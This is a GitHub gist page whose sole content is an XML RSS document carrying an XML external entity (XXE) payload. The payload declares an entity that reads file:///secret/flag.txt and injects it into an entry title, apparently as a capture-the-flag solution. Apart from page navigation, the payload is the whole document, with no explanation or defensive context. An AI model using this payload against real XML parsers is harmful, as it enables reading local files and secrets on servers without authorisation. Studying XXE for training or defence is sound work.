Skip to content

Instantly share code, notes, and snippets.

@GSkouroupathis

GSkouroupathis/1

Last active September 16, 2016 13:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save GSkouroupathis/e4e7369a66f23ddc6ba0fe21858db622 to your computer and use it in GitHub Desktop.
Save GSkouroupathis/e4e7369a66f23ddc6ba0fe21858db622 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" > ]>
<rss>
<channel>
<title>test</title>
<description>test</description>
<entry>
<title>&xxe;</title>
<link href="http://example.com"></link>
<content>Hello World!</content>
</entry>
</channel>
</rss>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment